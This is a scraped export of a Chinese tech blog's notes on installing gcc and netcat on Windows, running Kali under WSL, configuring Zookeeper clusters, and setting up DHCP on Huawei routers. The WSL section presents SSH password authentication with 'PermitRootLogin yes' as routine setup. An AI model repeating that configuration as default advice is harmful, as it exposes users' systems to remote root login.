}"},{"title":"","date":"2020-02-05T04:57:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Windows/gcc.html","permalink":"https://blog.mhuig.top/notes/Windows/gcc","excerpt":"","text":"安装 gcc windows 安装 gcc 下载先去官网下载安装包，http://www.mingw.org， 进入官网找到 download： 单击就可以直接下载了。 安装双击运行下载的 exe，然后点 install，然后就是下一步到底就行了，最后选择安装 gcc-g++ 的就可以了。 注意下面这个要选中 其他需要的也可以自行选择，安装完之后，也可以通过安装目录下 bin 目录的 安装其他东西，可以自行去了解。 配置安装完成后就是配置环境变量了 然后打开控制台，输入: gcc -v gcc --version 我们可以写一个例子试一下，经典例子 hello world 出来吧！ #include <stdio.h>int main(){ printf(\"Hello world!\"); return 0;} gcc -o test main.cpp MinGW-w64Window 系统下的 MinGW，总是编译为 32 位代码。因为 MinGW 只支持 32 位代码。 Window 系统下的 MinGW-w64（例如安装了 TDM - GCC，选择 MinGW-w64），默认是编译为 64 位代码，包括在 32 位的 Windows 系统下。"},{"title":"","date":"2022-05-10T06:55:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Windows/index.html","permalink":"https://blog.mhuig.top/notes/Windows/","excerpt":"Windows","text":"Windows Windows .prev-next{ display: none !important; }"},{"title":"","date":"2020-01-10T02:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Windows/netcat.html","permalink":"https://blog.mhuig.top/notes/Windows/netcat","excerpt":"","text":"netcat 的安装及使用 windows 环境下 netcat 的安装及使用 Step 1下载 netcat 下载地址：https://eternallybored.org/misc/netcat/ Step 2解压文件夹 Step 3将文件夹中的所有内容复制到 C:\\Windows\\System32 的文件夹下 或者配置环境变量 Step 4打开命令界面：Windows+R cmd 输入 nc 命令即可."},{"title":"","date":"2019-11-23T01:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Windows/kali.html","permalink":"https://blog.mhuig.top/notes/Windows/kali","excerpt":"","text":"适用于 Linux 的 windows 子系统 适用于 Linux 的 windows 子系统 开启 wsl首先：为了 win10 能运行适用于 Linux 的 windows 子系统，我们需要开启 wsl第一种方法： 开启 wsl，开启步骤：按 win + x 进入 Windows Power Shell，输入下面的命令开启， Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux 开启后重启系统。 第二种 方法步骤 安装 kali进入应用商店，搜索 kali，直接安装 安装 VIMsudo apt-get install vim 更新源vi /etc/apt/sources.list #阿里云deb http://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#清华大学deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-freedeb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#中科大deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#官方源deb http://http.kali.org/kali kali-rolling main non-free contribdeb-src http://http.kali.org/kali kali-rolling main non-free contrib sudo apt-get update && sudo apt-get dist-upgrade apt-get install apt-transport-https 配置 SSH在 Linux 子系统默认命令端输入，查看 ip 地址 ifconfig 配置 SSH 服务 sudo apt-get remove --purge openssh-server ## 先删sshsudo apt-get install openssh-server ## 在安装ssh sudo rm /etc/ssh/ssh_config ## 删配置文件sudo service ssh --full-restart 修改 sshd_config 文件 vi /etc/ssh/sshd_config 将 #PasswordAuthentication no 的注释去掉，并且将 NO 修改为 YES，kali 中默认是 yes PasswordAuthentication yes 将 PermitRootLogin without-password 修改为 PermitRootLogin yes 使用 xshell 登录 上面命令执行完之后，在 xshell 中输入用户名和 ip 就可以通过 xshell 登录自己电脑的 Linux。 配置永久解决方案 通过上面的方法，我们可以通过 xshell 登录自己电脑的 Linux。但是断开之后重新开机，我们又需要重新配置 SSH。因此，我们需要配置以下命令下，一劳永逸。 sudo service ssh --full-restart ## 将该命令保存为service.sh，存在home目录下 配置好之后，下次开机，只需要在 Linux 子系统的默认终端运行 sh service.sh 命令后，关掉终端改用 xshell 登录即可。 图形界面sudo apt-get install vnc4server tightvncserversudo apt-get install xrdpsudo sed -i 's/port=3389/port=3390/g' /etc/xrdp/xrdp.ini//apt-get install kali-defaults kali-root-login desktop-base kde-fullsudo apt-get install xorgsudo apt-get install xfce4//apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4-goodiessudo echo xfce4-session >~/.xsessionsudo service xrdp restart 安装工具包apt install kali-linux-full win 下关闭 kalinet stop LxssManager ubuntu 下神奇的多线程 apt-get安装 axelsudo apt-get install axel 下载脚本 apt-fast.sh下载地址 http://www.mattparnell.com/linux/apt-fast/apt-fast.sh # !/bin/sh# apt-fast v0.03 by Matt Parnell http://www.mattparnell.com, this thing is fully open-source# if you do anything cool with it, let me know so I can publish or host it for you# contact me at admin@mattparnell.com# Special thanks# Travis/travisn000 - support for complex apt-get commands# Allan Hoffmeister - aria2c support# Abhishek Sharma - aria2c with proxy support# Richard Klien - Autocompletion, Download Size Checking (made for on ubuntu, untested on other distros)# Patrick Kramer Ruiz - suggestions - see Suggestions.txt# Sergio Silva - test to see if axel is installed, root detection/sudo autorun# Use this just like apt-get for faster package downloading.# Check for proper priveliges[ \"`whoami`\" = root ] || exec sudo \"$0\" \"$@\"# Test if the axel is installedif [ ! -x /usr/bin/axel ]then echo \"axel is not installed, perform this?(y/n)\" read ops case $ops in y) if apt-get install axel -y --force-yes then echo \"axel installed\" else echo \"unable to install the axel. you are using sudo?\" ; exit fi ;; n) echo \"not possible usage apt-fast\" ; exit ;; esacfi# If the user entered arguments contain upgrade, install, or dist-upgradeif echo \"$@\" | grep -q \"upgrade\\|install\\|dist-upgrade\"; then echo \"Working...\"; # Go into the directory apt-get normally puts downloaded packages cd /var/cache/apt/archives/; # Have apt-get print the information, including the URI's to the packages # Strip out the URI's, and download the packages with Axel for speediness # I found this regex elsewhere, showing how to manually strip package URI's you may need...thanks to whoever wrote it apt-get -y --print-uris $@ | egrep -o -e \"(ht|f)tp://[^\\']+\" > apt-fast.list && cat apt-fast.list | xargs -l1 axel -a # Perform the user's requested action via apt-get apt-get $@; echo -e \"\\nDone! Verify that all packages were installed successfully. If errors are found, run apt-get clean as root and try again using apt-get directly.\\n\";else apt-get $@;fi 安装 apt-fastsudo mv /root/apt-fast.sh /usr/bin/apt-fastsudo chmod +x /usr/bin/apt-fast 现在你已经可以使用 apt-fast 替代 apt-get 了试一下 apt-fast updateapt-fast upgradeapt-fast install XXXXX 魔改 axel 设置脚本sudo vim /etc/axelrc 找到 num_connections = 4 默认的 4 线程直接修改这个值例如：十线程 num_connections = 10 Linux 下的 vim 配置文件vi ~/.vimrc \" Vim config file.\" Global Settings: {{{syntax on \" highlight syntaxfiletype plugin indent on \" auto detect file typeset nocompatible \" out of Vi compatible mode\"set number \" show line numberset numberwidth=3 \" minimal culumns for line numbersset textwidth=0 \" do not wrap words (insert)set nowrap \" do not wrap words (view)set showcmd \" show (partial) command in status lineset ruler \" line and column number of the cursor positionset wildmenu \" enhanced command completionset wildmode=list:longest,full \" command completion modeset laststatus=2 \" always show the status lineset mouse= \" use mouse in all modeset foldenable \" fold linesset foldmethod=marker \" fold as markerset noerrorbells \" do not use error bellset novisualbell \" do not use visual bellset t_vb= \" do not use terminal bellset wildignore=.svn,.git,*.swp,*.bak,*~,*.o,*.aset autowrite \" auto save before commands like :next and :makeset cursorlineset hidden \" enable multiple modified buffersset history=1000 \" record recent used command historyset autoread \" auto read file that has been changed on diskset backspace=indent,eol,start \" backspace can delete everythingset completeopt=menuone,longest \" complete options (insert)set pumheight=10 \" complete popup heightset scrolloff=5 \" minimal number of screen lines to keep beyond the cursorset autoindent \" automatically indent new lineset cinoptions=:0,l1,g0,t0,(0,(s \" C kind language indent optionsset clipboard+=unnamed \" shared clipboardset noexpandtab \" do not use spaces instead of tabsset tabstop=4 \" number of spaces in a tabset softtabstop=4 \" insert and delete space of <tab>set shiftwidth=4 \" number of spaces for indentset expandtab \" expand tabs into spacesset incsearch \" incremental searchset hlsearch \" highlight search matchset ignorecase \" do case insensitive matchingset smartcase \" do not ignore if search pattern has CAPSset nobackup \" do not create backup file\"set noswapfile \" do not create swap fileset backupcopy=yes \" overwrite the original fileset encoding=utf-8set termencoding=utf-8set fileencoding=utf-8set fileencodings=gb2312,utf-8,gbk,gb18030set fileformat=unixset background=dark\"colorscheme SolarizedDark_modified\"colorscheme wombat_modified\" gui settingsif has(\"gui_running\") set guioptions-=T \" no toolbar set guioptions-=r \" no right-hand scrollbar set guioptions-=R \" no right-hand vertically scrollbar set guioptions-=l \" no left-hand scrollbar set guioptions-=L \" no left-hand vertically scrollbar autocmd GUIEnter * simalt ~x \" window width and height language messages zh_CN.utf-8 \" use chinese messages if hasendif\" Restore the last quit position when open file.autocmd BufReadPost * \\ if line(\"'\\\"\") > 0 && line(\"'\\\"\") <= line(\"$\") | \\ exe \"normal g'\\\"\" | \\ endif\"}}}\" Key Bindings: {{{let mapleader = \",\"let maplocalleader = \"\\\\\"\" map : -> <space>map <Space> :\" move between windowsnmap <C-h> <C-w>hnmap <C-j> <C-w>jnmap <C-k> <C-w>knmap <C-l> <C-w>l\" Don't use Ex mode, use Q for formattingmap Q gq\"make Y consistent with C and Dnnoremap Y y$\" toggle highlight trailing whitespacenmap <silent> <leader>l :set nolist!<CR>\" Ctrl-E to switch between 2 last buffersnmap <C-E> :b#<CR>\" ,e to fast finding files. just type beginning of a name and hit TABnmap <leader>e :e **/\" Make shift-insert work like in Xtermmap <S-Insert> <MiddleMouse>map! <S-Insert> <MiddleMouse>\" ,n to get the next location (compilation errors, grep etc)nmap <leader>n :cn<CR>nmap <leader>p :cp<CR>\" Ctrl-N to disable search match highlightnmap <silent> <C-N> :silent noh<CR>\" center display after searchingnnoremap n nzznnoremap N Nzznnoremap * *zznnoremap # #zznnoremap g* g*zznnoremap g# g#z\"}}}\" mrulet MRU_Window_Height = 10nmap <Leader>r :MRU<cr>\" taglistlet g:Tlist_WinWidth = 25let g:Tlist_Use_Right_Window = 0let g:Tlist_Auto_Update = 1let g:Tlist_Process_File_Always = 1let g:Tlist_Exit_OnlyWindow = 1let g:Tlist_Show_One_File = 1let g:Tlist_Enable_Fold_Column = 0let g:Tlist_Auto_Highlight_Tag = 1let g:Tlist_GainFocus_On_ToggleOpen = 1nmap <Leader>t :TlistToggle<cr>\" nerdtreelet g:NERDTreeWinPos = \"right\"let g:NERDTreeWinSize = 30let g:NERDTreeShowLineNumbers = 1let g:NERDTreeQuitOnOpen = 1nmap <Leader>f :NERDTreeToggle<CR>nmap <Leader>F :NERDTreeFind<CR>\"pastevmap <C-c> \"+ynmap <C-v> \"+pset pastetoggle=<F12>\"C，C++ Java Compile and run by F5map <F5> :call CompileRunGcc()<CR>func! CompileRunGcc() exec \"w\" if &filetype == 'c' exec \"!g++ % -o %<\" exec \"! ./%<\" elseif &filetype == 'cpp' exec \"!g++ % -o %<\" exec \"! ./%<\" elseif &filetype == 'java' exec \"!javac %\" exec \"!java %<\" elseif &filetype == 'sh' :!./% endifendfunc\"C,C++ debugmap <F8> :call Rungdb()<CR>func! Rungdb() exec \"w\" exec \"!g++ % -g -o %<\" exec \"!gdb ./%<\"endfunc PS1PS1='${debian_chroot:+($debian_chroot)}\\[\\033[01;31m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ ' bashrc# ~/.bashrc: executed by bash(1) for non-login shells.# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)# for examples# If not running interactively, don't do anythingcase $- in *i*) ;; *) return;;esac# don't put duplicate lines or lines starting with space in the history.# See bash(1) for more optionsHISTCONTROL=ignoreboth# append to the history file, don't overwrite itshopt -s histappend# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)HISTSIZE=1000HISTFILESIZE=2000# check the window size after each command and, if necessary,# update the values of LINES and COLUMNS.shopt -s checkwinsize# If set, the pattern \"**\" used in a pathname expansion context will# match all files and zero or more directories and subdirectories.#shopt -s globstar# make less more friendly for non-text input files, see lesspipe(1)#[ -x /usr/bin/lesspipe ] && eval \"$(SHELL=/bin/sh lesspipe)\"# set variable identifying the chroot you work in (used in the prompt below)if [ -z \"${debian_chroot:-}\" ] && [ -r /etc/debian_chroot ]; then debian_chroot=$(cat /etc/debian_chroot)fi# set a fancy prompt (non-color, unless we know we \"want\" color)case \"$TERM\" in xterm-color) color_prompt=yes;;esac# uncomment for a colored prompt, if the terminal has the capability; turned# off by default to not distract the user: the focus in a terminal window# should be on the output of commands, not on the promptforce_color_prompt=yesif [ -n \"$force_color_prompt\" ]; then if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then # We have color support; assume it's compliant with Ecma-48 # (ISO/IEC-6429). (Lack of such support is extremely rare, and such # a case would tend to support setf rather than setaf.) color_prompt=yes else color_prompt= fifiif [ \"$color_prompt\" = yes ]; then PS1='${debian_chroot:+($debian_chroot)}\\[\\033[01;31m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ 'else PS1='${debian_chroot:+($debian_chroot)}\\u@\\h:\\w\\$ 'fiunset color_prompt force_color_prompt# If this is an xterm set the title to user@host:dircase \"$TERM\" inxterm*|rxvt*) PS1=\"\\[\\e]0;${debian_chroot:+($debian_chroot)}\\u@\\h: \\w\\a\\]$PS1\" ;;*) ;;esac# colored GCC warnings and errorsexport GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'# enable color support of ls and also add handy aliasesif [ -x /usr/bin/dircolors ]; then test -r ~/.dircolors && eval \"$(dircolors -b ~/.dircolors)\" || eval \"$(dircolors -b)\" alias ls='ls --color=auto' alias dir='dir --color=auto' alias vdir='vdir --color=auto' alias grep='grep --color=auto' alias fgrep='fgrep --color=auto' alias egrep='egrep --color=auto'fi# some more ls aliasesalias ll='ls -l'alias la='ls -A'alias l='ls -la'# Alias definitions.# You may want to put all your additions into a separate file like# ~/.bash_aliases, instead of adding them here directly.# See /usr/share/doc/bash-doc/examples in the bash-doc package.if [ -f ~/.bash_aliases ]; then . ~/.bash_aliasesfi# enable programmable completion features (you don't need to enable# this, if it's already enabled in /etc/bash.bashrc and /etc/profile# sources /etc/bash.bashrc).if ! shopt -oq posix; then if [ -f /usr/share/bash-completion/bash_completion ]; then . /usr/share/bash-completion/bash_completion elif [ -f /etc/bash_completion ]; then . /etc/bash_completion fifi"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zookeeper/cdh.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/cdh","excerpt":"","text":"CDH 集群环境搭建 大数据处理技术 - CDH 版本的 zookeeper 环境搭建 下载第一步：下载 zookeeeper 的压缩包，下载地址为：http://archive.cloudera.com/cdh5/cdh/5/我们这里也下载对应版本的 CDH5.14.0 这个版本的 zookeeper 的压缩包即可下载完成之后，上传到我们的 linux 的 /export/softwares 路径下准备进行安装 解压解压 zookeeper 的压缩包到 /export/servers 路径下去，然后准备进行安装 cd /export/softwarestar -zxvf zookeeper-3.4.5-cdh5.14.0.tar.gz -C ../servers/ 修改配置文件node01 修改配置文件创建 zk 数据存放目录 mkdir -p /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas 修改 zk 配置文件 cd /export/servers/zookeeper-3.4.5-cdh5.14.0/confcp zoo_sample.cfg zoo.cfgvim zoo.cfg zoo.cfgdataDir=/export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatasautopurge.snapRetainCount=3autopurge.purgeInterval=1server.1=node01:2888:3888server.2=node02:2888:3888server.3=node03:2888:3888 创建 myid 文件并写入内容 echo 1 > /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas/myid 将安装包分发到其他机器node01 执行以下命令 cd /export/serversscp -r zookeeper-3.4.5-cdh5.14.0/ node02:$PWDscp -r zookeeper-3.4.5-cdh5.14.0/ node03:$PWD node02 修改配置文件node02 执行以下命令创建 myid 文件并赋值 echo 2 > /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas/myid node03 修改配置文件node03 执行以下命令创建 myid 文件并赋值 echo 3 > /export/servers/zookeeper-3.4.5-cdh5.14.0/zkdatas/myid 启动 zk 服务三台服务器启动 zookeeper，三台机器都执行以下命令启动 zookeeper cd /export/servers/zookeeper-3.4.5-cdh5.14.0bin/zkServer.sh start"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zookeeper/apache.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/apache","excerpt":"","text":"Apache 集群环境搭建 大数据处理技术 - Zookeeper 的 Apache 集群环境搭建 Zookeeper 的集群环境搭建 服务器 IP 主机名 myid 的值 192.168.52.100 node01 1 192.168.52.110 node02 2 192.168.52.120 node03 3 下载下载 Zookeeeper 的压缩包，下载网址如下 http://archive.apache.org/dist/zookeeper/ 我们在这个网址下载我们使用的 zk 版本为 3.4.9下载完成之后，上传到我们的 linux 的 /export/softwares 路径下准备进行安装 解压解压 zookeeper 的压缩包到 /export/servers 路径下去，然后准备进行安装 cd /export/softwarestar -zxvf zookeeper-3.4.9.tar.gz -C ../servers/ 修改配置文件第一台机器修改配置文件 cd /export/servers/zookeeper-3.4.9/conf/ cp zoo_sample.cfg zoo.cfg mkdir -p /export/servers/zookeeper-3.4.9/zkdatas/ vim zoo.cfg zoo.cfgdataDir=/export/servers/zookeeper-3.4.9/zkdatasautopurge.snapRetainCount=3autopurge.purgeInterval=1server.1=node01:2889:3889server.2=node02:2889:3889server.3=node03:2889:3889 autopurge.snapRetainCount 这个参数指定了需要保留的文件数目。默认是保留 3 个。 autopurge.purgeInterval ZK 提供了自动清理事务日志和快照文件的功能，这个参数指定了清理频率，单位是小时，需要配置一个 1 或更大的整数，默认是 0 ，表示不开启自动清理功能。server 后的数字是选举 id，在选举过程中会用到。注意: 数字一定要能比较出大小。2888 端口 原子广播端口，可以自定义3888 端口 选举端口，leader 会通过原子广播端口广播给其他节点，并收集每台服务器反馈信息。 添加 myid 配置在第一台机器的 /export/servers/zookeeper-3.4.9/zkdatas/ 这个路径下创建一个文件，文件名为 myid ,文件内容为 1 echo 1 > /export/servers/zookeeper-3.4.9/zkdatas/myid 安装包分发并修改 myid 的值安装包分发到其他机器 第一台机器上面执行以下两个命令 scp -r /export/servers/zookeeper-3.4.9/ node02:/export/servers/scp -r /export/servers/zookeeper-3.4.9/ node03:/export/servers/ 第二台机器上修改 myid 的值为 2 echo 2 > /export/servers/zookeeper-3.4.9/zkdatas/myid 第三台机器上修改 myid 的值为 3 echo 3 > /export/servers/zookeeper-3.4.9/zkdatas/myid 三台机器启动 Zookeeper 服务三台机器启动 Zookeeper 服务这个命令三台机器都要执行 /export/servers/zookeeper-3.4.9/bin/zkServer.sh start 查看启动状态 /export/servers/zookeeper-3.4.9/bin/zkServer.sh status"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Zookeeper/index.html","permalink":"https://blog.mhuig.top/notes/Zookeeper/","excerpt":".fa-secondary{opacity:.4} Zookeeper","text":".fa-secondary{opacity:.4} Zookeeper Zookeeper .prev-next{ display: none !important; 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DHCP 工作原理DHCP 采用 C/S 架构 (客户端 / 服务端) 路由器, 三层交换机, 防火墙, AC. DHCP Server 的 IP 地址需要管理员手工配置. DHCP 报文DHCP Discover: 用于发现网络中的 DHCP 服务器. DHCP offer: 用于提供终端设备的上网参数. DHCP Request: 客户端请求配置确认, 或续借租期. DHCP ACK: 服务器对 DHCP Request 进行确认回复. DHCP NAK: 服务器对 DHCP Request 进行拒绝. DHCP Release: 客户端要释放地址时通知 DHCP 服务器的报文. DHCP Decline: 当客户端发现服务器分配的地址发现冲突, 会通过此报文通知 DHCP 服务器, 并重新向服务器申请地址. DHCP 工作过程PC Server=== Discover(广播) ==><== Offer(单播/广播) ====== Request (广播) ==><== ACK/NAK(单播/广播) === 当一个刚接入网络的终端设备还没分配 IP 地址 (0.0.0.0 / 32) 的时候, 会通过广播来发送 DHCP Discover 报文来寻找网络中的服务器. 当网络内存在多台 DHCP 服务器接收到客户端发来的 Discover, 会从尚未分配的 IP 地址中选一个分配给设备, 然后通过单播形式发送 offer 报文给终端设备, 该报文中包含上网参数信息. 终端设备收到了 DHCP 服务器发来的 DHCP offer 报文, 选择优先到达的一个. 随后广播一个 Request 报文, 目的是告诉所有的 DHCP 服务器, 自己将使用哪一个 DHCP 服务器所提供的地址, 以便于其他的服务器撤销自己的 offer 报文. DHCP 服务器收到终端设备发来的 DHCP Request, 返回给客户端一个 ACK, 表示确认, 并将参数信息放入到报文中发送给终端设备. 当终端设备收到 DHCP 服务器发来的 ACK 后, 会向网络内发送一个免费 ARP 来确认网络内是否存在地址冲突, 如果没有冲突, 则使用该地址, 如果发生冲突, 则向 DHCP 服务器发送一个 Decline 报文, 拒绝此 IP 地址, 并向服务器重新申请地址. DHCP 客户端在确定不使用 IP 地址信息时会发送 Release 消息来释放当前地址. 系统关机或重启 重置网卡 管理员通过命令手工释放 ipconfig /renew // 重新向DHCP服务器申请上网参数ipconfig /release // 释放当前PC的上网参数 DHCP Discover 消息的目的地址通常是广播地址 (Broadcast Address). 广播地址是一个特殊的 IP 地址，用于将消息发送到网络中的所有设备. 在 IPv4 网络中，广播地址通常是目标 IP 地址为 255.255.255.255 的消息. DHCP 续租过程1. 当客户端的租期到达 50% 时会主动发送一个单播的 Request 进行 DHCP 续租. 2. 如果 Server 检查 Request 消息没有任何问题, 直接回复 ACK 确认, 并刷新租期. 3. 如果 50% 没有回应, 会继续使用该 IP 地址, 直到租期的 87.5%, 客户端广播发送 Request 进行续租, 如果有 DHCP Server 回应可以进行续租, 如果没有回应, 将地址租期结束后重新进行租借过程. DHCP 全局地址池<Huawei><Huawei><Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]dhcp enable Info: The operation may take a few seconds. Please wait for a moment.done.[R1]ip pool ? STRING<1-64> Pool name[R1]ip pool PCInfo: It's successful to create an IP address pool.[R1-ip-pool-PC]network ? IP_ADDR<X.X.X.X> IP address[R1-ip-pool-PC]network 192.168.1.0 mask 24[R1-ip-pool-PC]display this[V200R003C00]#ip pool PC network 192.168.1.0 mask 255.255.255.0 #return[R1-ip-pool-PC]q[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip address 192.168.1.254 24Dec 19 2023 09:50:57-08:00 R1 %%01IFNET/4/LINK_STATE(l)[1]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]display this[V200R003C00]#interface GigabitEthernet0/0/0 ip address 192.168.1.254 255.255.255.0 #return[R1-GigabitEthernet0/0/0]ip pool PC[R1-ip-pool-PC]ga [R1-ip-pool-PC]gateway-list ? IP_ADDR<X.X.X.X> Gateway's IP address[R1-ip-pool-PC]gateway-list 192.168.1.254[R1-ip-pool-PC]dns-list ? IP_ADDR<X.X.X.X> IP address[R1-ip-pool-PC]dns-list 114.114.114.114[R1-ip-pool-PC]dis th[V200R003C00]#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 dns-list 114.114.114.114 #return[R1-ip-pool-PC]lease day 0 hour 0 minute 30[R1-ip-pool-PC]dis this [V200R003C00]#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 lease day 0 hour 0 minute 30 dns-list 114.114.114.114 #return[R1-ip-pool-PC]q[R1]int g0/0/0[R1-GigabitEthernet0/0/0]dhcp select global <Huawei>system-view[Huawei]sysname R1[R1]dhcp enable // 开启 DHCP 功能[R1]ip pool PC // 创建地址池[R1-ip-pool-PC]gateway-list 192.168.1.254 // 设置网关[R1-ip-pool-PC]network 192.168.1.0 mask 255.255.255.0 // 设置地址范围[R1-ip-pool-PC]lease day 0 hour 0 minute 30 // 设置租期[R1-ip-pool-PC]dns-list 114.114.114.114 // 设置DNS地址[R1-ip-pool-PC]excluded-ip-address 192.168.1.200 192.168.1.253 // 排除地址池中的地址[R1-ip-pool-PC]static-bind ip-address IP地址 mac-address xxxx-xxxx-xxxx(mac地址) // 静态绑定某个主机使用某个IP地址[R1]interface GigabitEthernet0/0/0 // 进入接口视图[R1-GigabitEthernet0/0/0]ip address 192.168.1.254 255.255.255.0 // 配置 IP 地址[R1-GigabitEthernet0/0/0]dhcp select global // 接口下使能全局地址池 [R1]display current-configuration // 查看配置 DHCP 接口地址池<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0]Dec 19 2023 11:00:18-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]q[R1]dhcp enableInfo: The operation may take a few seconds. Please wait for a moment.done.[R1]int g0/0/0[R1-GigabitEthernet0/0/0]dhcp select interface [R1-GigabitEthernet0/0/0]dis th[V200R003C00]#interface GigabitEthernet0/0/0 ip address 192.168.1.254 255.255.255.0 dhcp select interface#return[R1-GigabitEthernet0/0/0]dhcp server dns-list 114.114.114.114[R1-GigabitEthernet0/0/0]dhcp server lease day 0 hour 0 min 30<R1>syEnter system view, return user view with Ctrl+Z.[R1]int g0/0/0[R1-GigabitEthernet0/0/0]dhcp server ? dns-list Configure DNS servers domain-name Configure domain name excluded-ip-address Mark disable IP addresses import Imports the following network configuration parameters from a central server into local ip pool database: domain name, dns server and netbios server. lease Configure the lease of the IP pool nbns-list Configure the windows's netbios name servers netbios-type Netbios node type next-server The address of the server to use in the next step of the client's bootstrap process. option Configure the DHCP options option121 DHCP option 121 option184 DHCP option 184 recycle Recycle IP address static-bind Static bind[R1-GigabitEthernet0/0/0]dhcp server st [R1-GigabitEthernet0/0/0]dhcp server static-bind ? ip-address IP address for static bind[R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 ? mac-address MAC address for static bind[R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 mac-address ? MAC_ADDR<XXXX-XXXX-XXXX> MAC address[R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 mac-address 5489-981A-18A3[R1-GigabitEthernet0/0/0] <Huawei>sy[Huawei]sy R1[R1]dhcp enable // 开启 DHCP 功能[R1]int g0/0/0 // 进入接口视图[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24 // 配置 IP 地址的掩码[R1-GigabitEthernet0/0/0]dhcp select interface // 接口下使能接口地址池[R1-GigabitEthernet0/0/0]dhcp server dns-list 114.114.114.114 // 设置 DNS[R1-GigabitEthernet0/0/0]dhcp server lease day 0 hour 0 min 30 // 设置租期[R1-GigabitEthernet0/0/0]dhcp server excluded-ip-address 192.168.1.10 192.168.1.50 // 排除地址池中的地址 [R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 mac-address 5489-981A-18A3 // 静态绑定某个主机使用某个IP地址 DHCP 中继PC 的 DHCP 广播报文单播发给 DHCP 服务器. R1<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 12.1.1.1 24[R1-GigabitEthernet0/0/0][R1]dhcp enable Info: The operation may take a few seconds. Please wait for a moment.done.[R1]int g0/0/1[R1-GigabitEthernet0/0/1]dhcp select ? global Local server interface Interface server pool relay DHCP relay[R1-GigabitEthernet0/0/1]dhcp select relay [R1-GigabitEthernet0/0/1]dhcp relay server-ip 12.1.1.2[R1-GigabitEthernet0/0/1] R2<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R2[R2]int g0/0/0[R2-GigabitEthernet0/0/0]ip add 12.1.1.2 24[R2-GigabitEthernet0/0/0]q[R2]ping 192.168.1.254 PING 192.168.1.254: 56 data bytes, press CTRL_C to break Request time out Request time out Request time out --- 192.168.1.254 ping statistics --- 3 packet(s) transmitted 0 packet(s) received 100.00% packet loss[R2]ip route-static 192.168.1.0 24 12.1.1.1[R2]ping 192.168.1.254 PING 192.168.1.254: 56 data bytes, press CTRL_C to break Reply from 192.168.1.254: bytes=56 Sequence=1 ttl=255 time=110 ms Reply from 192.168.1.254: bytes=56 Sequence=2 ttl=255 time=20 ms Reply from 192.168.1.254: bytes=56 Sequence=3 ttl=255 time=30 ms Reply from 192.168.1.254: bytes=56 Sequence=4 ttl=255 time=40 ms Reply from 192.168.1.254: bytes=56 Sequence=5 ttl=255 time=10 ms --- 192.168.1.254 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 10/42/110 ms[R2]ip pool PC[R2-ip-pool-PC]network 192.168.1.0 mask 24[R2-ip-pool-PC]gateway-list 192.168.1.254[R2-ip-pool-PC]dns-list 114.114.114.114[R2-ip-pool-PC]lease day 0 hour 0 min 10[R2-ip-pool-PC]excluded-ip-address 192.168.1.100 192.168.1.253[R2-ip-pool-PC]dis th[V200R003C00]#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 excluded-ip-address 192.168.1.100 192.168.1.253 lease day 0 hour 0 minute 10 dns-list 114.114.114.114 #return[R2-ip-pool-PC]q[R2]dhcp enable Info: The operation may take a few seconds. Please wait for a moment.done.[R2]int 